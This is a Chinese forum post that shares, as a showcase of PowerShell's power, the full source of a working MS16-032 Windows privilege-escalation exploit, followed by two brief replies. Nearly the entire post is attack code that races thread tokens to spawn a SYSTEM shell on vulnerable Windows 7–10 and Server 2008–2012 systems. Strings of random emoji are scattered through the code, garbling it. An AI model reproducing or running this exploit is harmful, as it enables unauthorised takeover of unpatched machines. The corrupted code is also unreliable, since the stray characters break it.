一个基于Powershell的提权代码 |
本帖最后由 soarcloud 于 2016-8-13 09:44 编辑
之前转了一堆关于Powershell基础的帖子,但是估计大家对Powershell到底能做什么还是没有个具体概念。那么下面就贴个用于用户提权的Powershell代码,看了之后就应该明白Powershell能干什么了#j334:不要问我提权是什么,如果这个都不清楚,那么就再好好学学吧#j346: 👏🪐🅱🐮function Invoke-MS16-032 { <# .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable👨🚒🩰💉🥰👂 operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: 👮♂️🧣🪦😔 * Win7-Win10 & 2k8-2k12 <== 32/64 bit! * Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: 👵💎🗡😈🙏 * In order for the race condition to succeed the machine must have 2+ CPU cores. If testing in a VM just make sure to add a core if needed mkay. * The exploit is pretty reliable, however ~1/6 times it will say it succeeded but not spawn a shell. Not sure what the issue is but just re-run and profit! * Want to know more about MS16-032 ==>🧥📥🥰👀 https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause 👂💈🫖↔🐞 Required Dependencies: PowerShell v2+ Optional Dependencies: None E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736 .EXAMPLE👴👖🧲🤖👏 C:\PS> Invoke-MS16-032 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics;👳👗🛏🤮👊 using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION 🦷🪐🍼‼🐡 { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId;👴🥾🦯👻🦷 } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO { 👩💄✒😭🧠 public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX;👨🚒👓🗑🙄👌 public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars;👮♂️👠💶😈🖕 public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; ✍🚤🥩♻🐒 public IntPtr hStdInput;public IntPtr hStdOutput; public IntPtr hStdError; } 👙✏😒👀 [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel; ✋🌦🥩⁉🦊 public int ContextTrackingMode;public bool EffectiveOnly; } public static class Advapi32 👏⛄🍖🆗🐻 {[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain, 🧠⛴🍚🆗🐠 String password, int logonFlags, String applicationName, String commandLine, int creationFlags,🧑💻🛍🧲🤮👃 int environment, String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); 🧑🎤👖🧻🤐✍ [DllImport("advapi32.dll", SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); 🧑⚕️👒🏮😫🧠 [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf, 👍🚗🍓🆘🦚 out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, 🥷🧣📏😈👊 int DesiredAccess, ref IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken(👴🧦😔👆 IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } 👌💈🍍❌🐉 public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint GetLastError(); 👴🦺📷😡🤝 [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentThread();👴👑💾🤤💅 [DllImport("kernel32.dll", SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)]🧑🌾🪖🛒😷✍ public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport("kernel32.dll",SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); 👨🦱🩰🧻🤡👊 [DllImport("kernel32.dll",SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool TerminateProcess(👴🥾📐😘🦷 IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject); 💪🚂🍽❌🦕 [DllImport("kernel32.dll", SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, 👎🏫🍭ℹ🐮 IntPtr hTargetProcessHandle,ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); 👃🏦🥑❌🦊 } public static class Ntdll { [DllImport("ntdll.dll", SetLastError=true)] 🤟🗼‼🦄 public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); } 🙌🚗🎂🅿🐞"@ function Get-ThreadHandle { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO🧑⚕️👒🔌😈👎 $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size 👍💈🎂❎🐥 # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory 🧠🌦🍖♂🐻 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 👃🏫🍖📳🐥 0x00000002, "C:\Windows\System32\cmd.exe", "",0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS 🤞🚐🥛🚷🐴 $lpTargetHandle = [IntPtr]::Zero$CallResult = [Kernel32]::DuplicateHandle( $ProcessInfo.hProcess, 0x4, [Kernel32]::GetCurrentProcess(), [ref]$lpTargetHandle, 0, $false, 👃🌕🥭🅱🦊 0x00000002) # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)🧑🚀👖🖥😇👃 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) $lpTargetHandle } 🧑⚕️👑📏😈🦴 function Get-SystemToken { echo "`n[?] Trying thread handle: $Thread" echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" $CallResult = [Kernel32]::SuspendThread($Thread) 🖐⛄🎂♻🦋 if ($CallResult -ne 0) { echo "[!] $Thread is a bad thread, moving on.." Return } echo "[+] Thread suspended" 🧠🗼🦀☣🦠 echo "[>] Wiping current impersonation token" $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) if (!$CallResult) { echo "[!] SetThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) ✍🚐🍖🅿🐡 echo "[+] Thread resumed!"Return } echo "[>] Building SYSTEM impersonation token" 🦷🌧🍊↔🦉 # SecurityQualityOfService struct$SQOS = New-Object SQOS $SQOS.ImpersonationLevel = 2 #SecurityImpersonation $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) # Undocumented API's, I like your style Microsoft ;) 👆💈🍖☯🐢 $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) if ($CallResult -ne 0) { echo "[!] NtImpersonateThread failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!"🧑🌾🧢📬🥰💅 Return } $script:SysTokenHandle = [IntPtr]::Zero # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE 👂🌕🍇❎🐕 $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) if (!$CallResult) { echo "[!] OpenThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" 🗺🍌🈳🦦 Return} echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" echo "[+] Resuming thread.." ✋⛪🫖🆒🐠 $CallResult = [Kernel32]::ResumeThread($Thread) } # main() <--- ;) $ms16032 = @" 💪⛴🎂🔞 __ __ ___ ___ ___ ___ ___ ___ | V | _|_ | | _|___| |_ |_ | | |_ |_| |_| . |___| | |_ | _| |_|_|_|___|_____|___| |___|___|___| 👳👚📱🥰🖕 [by b33f -> @FuzzySec] "@ $ms16032 👀🎂❌🐥 # Check logical processor count, race condition requires 2+ echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" if ($([System.Environment]::ProcessorCount) -lt 2) { echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" Return 👂⛪🍚🈷🐢 } # Create array for Threads & TID's $ThreadArray = @() $TidArray = @()👨🦱👞🪦😡✋ echo "[>] Duplicating CreateProcessWithLogonW handles.." # Loop Get-ThreadHandle and collect thread handles with a valid TID for ($i=0; $i -lt 500; $i++) { $hThread = Get-ThreadHandle 👊🏝🌶❌🐤 $hThreadID = [Kernel32]::GetThreadId($hThread) # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray if ($TidArray -notcontains $hThreadID) { $TidArray += $hThreadID if ($hThread -ne 0) {👵👑📷😪👀 $ThreadArray += $hThread # This is what we need! } } } 👨🎨💄✏🤩🦴 if ($($ThreadArray.length) -eq 0) { echo "[!] No valid thread handles were captured, exiting!" Return } else { echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"👨🦱💎🔒😷👎 echo "`n[?] Thread handle list:" $ThreadArray } echo "`n Sniffing out privileged impersonation token.."🧑⚕️🧥🩺😛✊ foreach ($Thread in $ThreadArray){ # Get handle to SYSTEM access token Get-SystemToken 🥷👚🪜😷🤟 echo "`n Sniffing out SYSTEM shell.." echo "`n[>] Duplicating SYSTEM token" $hDuplicateTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) 👨🦱🧢🧯👻💅 # Simple PS runspace definition echo "[>] Starting token race" $Runspace = [runspacefactory]::CreateRunspace() $StartTokenRace = [powershell]::Create() $StartTokenRace.runspace = $Runspace 🤙🚗🍓❌🦮 $Runspace.Open() [void]$StartTokenRace.AddScript({ Param ($Thread, $hDuplicateTokenHandle) while ($true) { $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) 👨🚒🥼🦯☠👊 } }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) $AscObj = $StartTokenRace.BeginInvoke() echo "[>] Starting process race" 🦷🌕🍧🆒🐒 # Adding a timeout (10 seconds) here to safeguard from edge-cases$SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 10000) { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO🥷🩴⌨☠👂 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION 🤌🌡🍌☪🐺 # CreateProcessWithLogonW --> lpCurrentDirectory$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW(👞🗡😷🤳 "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) 🤞🛩🍖⚛🪰 $hTokenHandle = [IntPtr]::Zero$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) # If we can't open the process token it's a SYSTEM shell! if (!$CallResult) { echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" 👃🦼🍚®🐮 $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) $StartTokenRace.Stop() $SafeGuard.Stop() Return } 👍🎠🍖↔ # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) 👮♂️🕶🪦😂👊 } # Kill runspace & stopwatch if edge-case $StartTokenRace.Stop() $SafeGuard.Stop()🧑🚀🎩📮😪💪 } } 看完代码后,长期从事windows编程的同学应该已经看出来powershell的强大功能了吧。呵呵。 🧑🚀🧣✒💩👂
帖子热度 1.2万 ℃
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然而到现在我都不想去了解这个powershell
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畅游在词汇的海洋里 也难以找到恰如其分的感激之语 来表达感激之情,你是论坛的一盏明灯 期市里的一棵夜明珠 永放异彩你的帖子一定会让许多的有识之士获益匪浅 .让我们一起祝愿楼主文成武德仁义英明泽被苍生 一统江湖 天长地久 日月同辉!
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